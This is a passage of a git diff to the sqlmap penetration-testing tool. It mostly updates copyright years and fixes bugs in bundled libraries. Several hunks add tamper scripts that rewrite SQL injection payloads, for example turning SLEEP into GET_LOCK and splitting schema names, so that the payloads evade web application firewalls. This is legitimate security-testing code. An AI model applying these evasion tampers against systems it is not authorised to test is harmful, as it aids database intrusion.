**kwargs): + """ + Replaces instances of UNION with -.1UNION + + Requirement: + * MySQL + + Notes: + * Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf + + >>> tamper('1 UNION ALL SELECT') + '1-.1UNION ALL SELECT' + >>> tamper('1" UNION ALL SELECT') + '1"-.1UNION ALL SELECT' + """ + + return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 05b8de00fd5..ab15bc39b76 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 774a1cbf3ca..940f50f37eb 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index a190c9d283f..0ca463df3b2 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 21a1ec4537a..39d0e6cf670 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index d2a5fa4ea7d..ebef0af6af3 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index 4045a47906f..09e86f546d8 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index 7aecbb9fd43..438f2fed44e 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index cdb799b3e76..291a19ac83c 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index c39b6648c8f..3bf398de226 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 53882e8bb87..e5d7a0511d0 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py new file mode 100644 index 00000000000..32f64a6edb1 --- /dev/null +++ b/tamper/schemasplit.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users') + + Requirement: + * MySQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('SELECT id FROM testdb.users') + 'SELECT id FROM testdb 9.e.users' + """ + + return re.sub(r"(?i)( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload) if payload else payload diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py new file mode 100644 index 00000000000..013cda246a5 --- /dev/null +++ b/tamper/sleep2getlock.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import kb +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)" + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the SLEEP() and BENCHMARK() functions + + * Reference: https://zhuanlan.zhihu.com/p/35245598 + + >>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName + True + """ + + if payload: + payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName) + + return payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 054bcd07be8..3414f7b4fd0 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index e81fa6363e8..90a317fc9d9 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 07629fc9fc4..579ac984b5c 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 1325b630297..cd6c6f54638 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 9061baa0813..54fbb6324ed 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index fa901db329e..f2992048e23 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index c9098413ea3..129ac4d3f31 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index d2810b0e928..21771d8da27 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 78d46f399ef..b7de361ca93 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index ef5d2489d3b..a795f38512d 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index ceb2be99548..e8cd9710826 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 690cb335304..c170128007c 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 94a1520e865..3dfce471adb 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index f8f694a748f..5d552757f56 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 24f600d1aa3..8a840619c32 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index c404945dc0a..1170174ed58 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 320527d80fc..90910a4a13a 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 6722d8ed75f..9dc1b9e7279 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index c78495a77ca..8a8ef9fcd64 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index a2bbabfc19c..8791620b508 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index ab33c6b1181..12e33e1a5c7 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 67efbf17845..9b45c4e12e3 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -156,58 +156,14 @@ def colorize(self, message, levelno): params.append('1') if params and message: - match = re.search(r"\A(\s+)", message) - prefix = match.group(1) if match else "" - message = message[len(prefix):] - - match = re.search(r"\[([A-Z ]+)\]", message) # log level - if match: - level = match.group(1) - if message.startswith(self.bold): - message = message.replace(self.bold, "") - reset = self.reset + self.bold - params.append('1') - else: - reset = self.reset - message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) - - match = re.search(r"\A\s*\[([\d:]+)\]", message) # time - if match: - time = match.group(1) - message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) - - match = re.search(r"\[(#\d+)\]", message) # counter - if match: - counter = match.group(1) - message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) - - if level != "PAYLOAD": - if any(_ in message for _ in ("parsed DBMS error message",)): - match = re.search(r": '(.+)'", message) - if match: - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - match = re.search(r"\bresumed: '(.+\.\.\.)", message) - if match: - string = match.group(1) - message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - match = re.search(r" \('(.+)'\)\Z", message) - if match: - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + if message.lstrip() != message: + prefix = re.search(r"\s+", message).group(0) + message = message[len(prefix):] else: - message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) - - if prefix: - message = "%s%s" % (prefix, message) + prefix = "" - message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), + 'm', message, self.reset))) return message diff --git a/thirdparty/beautifulsoup/beautifulsoup.py b/thirdparty/beautifulsoup/beautifulsoup.py index 0837bf72c7e..bc8889f76f8 100644 --- a/thirdparty/beautifulsoup/beautifulsoup.py +++ b/thirdparty/beautifulsoup/beautifulsoup.py @@ -595,7 +595,7 @@ def getText(self, separator=u""): stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next @@ -897,7 +897,7 @@ def recursiveChildGenerator(self): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] - while current is not stopNode: + while current and current is not stopNode: yield current current = current.next diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index 9e6219e4055..aeb6b92b455 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -570,7 +570,7 @@ def reset(self): def prepare(self): """ Do all on-demand work immediately (useful for debugging).""" - self.call + self.call() def all_plugins(self): """ Yield all Plugins affecting this route. """ @@ -1518,7 +1518,7 @@ def __setattr__(self, name, value): raise AttributeError("Attribute already defined: %s" % name) self.environ[key] = value - def __delattr__(self, name, value): + def __delattr__(self, name): try: del self.environ['bottle.request.ext.%s' % name] except KeyError: diff --git a/thirdparty/clientform/clientform.py b/thirdparty/clientform/clientform.py index 48f897a9b97..34f2f999f49 100644 --- a/thirdparty/clientform/clientform.py +++ b/thirdparty/clientform/clientform.py @@ -237,9 +237,9 @@ def replace_entities(match, entities=entities, encoding=encoding): repl = entities.get(ent) if repl is not None: - if type(repl) != type("") and encoding is not None: + if hasattr(repl, "decode") and encoding is not None: try: - repl = repl.encode(encoding) + repl = repl.decode(encoding) except UnicodeError: repl = ent else: @@ -255,15 +255,11 @@ def unescape_charref(data, encoding): name, base= name[1:], 16 elif not name.isdigit(): base = 16 - uc = _unichr(int(name, base)) - if encoding is None: - return uc - else: - try: - repl = uc.encode(encoding) - except UnicodeError: - repl = "&#%s;" % data - return repl + + try: + return _unichr(int(name, base)) + except: + return data def get_entitydefs(): from codecs import latin_1_decode @@ -713,7 +709,7 @@ def handle_data(self, data): data = data[1:] map[key] = data else: - map[key] = (map[key].decode("utf8") if isinstance(map[key], six.binary_type) else map[key]) + data + map[key] = (map[key].decode("utf8", "replace") if isinstance(map[key], six.binary_type) else map[key]) + data def do_button(self, attrs): debug("%s", attrs) @@ -1934,7 +1930,7 @@ def _set_selected_state(self, item, action): raise AttributeError("control '%s' is disabled" % self.name) if self.readonly: raise AttributeError("control '%s' is readonly" % self.name) - action == bool(action) + action = bool(action) compat = self._form.backwards_compat if not compat and item.disabled: raise AttributeError("item is disabled") diff --git a/thirdparty/colorama/ansitowin32.py b/thirdparty/colorama/ansitowin32.py index eae181017f5..2776763cb68 100644 --- a/thirdparty/colorama/ansitowin32.py +++ b/thirdparty/colorama/ansitowin32.py @@ -47,7 +47,7 @@ class AnsiToWin32(object): win32 function calls. ''' ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer - ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?') # Operating System Command + ANSI_OSC_RE = re.compile('\001?\033\\]([^\a]*)(\a)\002?') # Operating System Command (Note: https://github.com/tartley/colorama/issues/247) def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index 3bd7ab77039..9eaaadeb23e 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -1271,16 +1271,6 @@ def parse_key(self, key): return None key, value = pair return value - line = self.lookahead() - mo = self._key_re.match(line) - if not mo: - return None - key, value = line.split(':', 1) - if key not in keys: - return None - value = value.strip() - self.consume() - return key, value def parse_keys(self, keys): line = self.lookahead() diff --git a/thirdparty/identywaf/LICENSE b/thirdparty/identywaf/LICENSE index fbea8d26e46..c46b637f9e2 100644 --- a/thirdparty/identywaf/LICENSE +++ b/thirdparty/identywaf/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2019 Miroslav Stampar +Copyright (c) 2019-2020 Miroslav Stampar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/thirdparty/identywaf/__init__.py b/thirdparty/identywaf/__init__.py index aa130ea2291..4ce99ee8e05 100644 --- a/thirdparty/identywaf/__init__.py +++ b/thirdparty/identywaf/__init__.py @@ -1,6 +1,6 @@ #!/usr/bin/env python # -# Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +# Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT # See the file 'LICENSE' for copying permission # The above copyright notice and this permission notice shall be included in diff --git a/thirdparty/identywaf/data.json b/thirdparty/identywaf/data.json old mode 100755 new mode 100644 index c6ab44ca54e..f528f07d336 --- a/thirdparty/identywaf/data.json +++ b/thirdparty/identywaf/data.json @@ -1,5 +1,5 @@ { - "__copyright__": "Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", + "__copyright__": "Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT. See the file 'LICENSE' for copying permission", "__notice__": "The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software", "payloads": [ @@ -335,6 +335,12 @@ "c669:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkwI2FZjxtDtAeq+c3qA5chW1XaTC" ] }, + "gtmc": { + "company": "GTMC", + "name": "GTMC WAF", + "regex": "GTMC WAF1 Protection:|Please consult with administrator or waf@nm.gtmc.com.tw", + "signatures": [] + }, "imunify360": { "company": "CloudLinux", "name": "Imunify360", diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 2209352f323..0b70d1f4102 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +Copyright (c) 2019-2021 Miroslav Stampar (@stamparm), MIT See the file 'LICENSE' for copying permission The above copyright notice and this permission notice shall be included in @@ -60,7 +60,7 @@ HTTPCookieProcessor = urllib2.HTTPCookieProcessor NAME = "identYwaf" -VERSION = "1.0.124" +VERSION = "1.0.131" BANNER = r""" ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ @@ -125,7 +125,7 @@ proxies = list() proxies_index = 0 -_exit = exit +_exit = sys.exit def exit(message=None): if message: @@ -509,7 +509,7 @@ def run(): print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) - hardness = 100 * results.count('x') / len(results) + hardness = 100 * results.count('x') // len(results) print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) if blocked: @@ -545,7 +545,7 @@ def run(): counter_y += 1 elif any(_ in markers for _ in (part & ~1, part | 1)): counter_n += 1 - result = int(round(100 * counter_y / (counter_y + counter_n))) + result = int(round(100.0 * counter_y / (counter_y + counter_n))) if SIGNATURES[candidate] in matches: if result > matches[SIGNATURES[candidate]]: matches[SIGNATURES[candidate]] = result diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index d458cfa6034..ff0da31f1cf 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -23,6 +23,7 @@ import io import mimetypes import os +import re import stat import sys @@ -67,6 +68,14 @@ def http_request(self, request): request.add_unredirected_header("Content-Type", contenttype) request.data = data + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4235 + if request.data: + for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + return request def multipart_encode(self, vars, files, boundary=None, buf=None): diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index 89b2188fd63..83f69783d1a 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.12.0" +__version__ = "1.15.0" # Useful for very coarse version differentiation. @@ -255,9 +255,11 @@ class _MovedItems(_LazyModule): MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -637,13 +639,16 @@ def u(s): import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -665,6 +670,7 @@ def indexbytes(buf, i): _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -681,6 +687,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -716,16 +726,7 @@ def exec_(_code_, _globs_=None, _locs_=None): """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -805,13 +806,33 @@ def print_(*args, **kwargs): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -824,7 +845,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -861,12 +890,11 @@ def ensure_binary(s, encoding='utf-8', 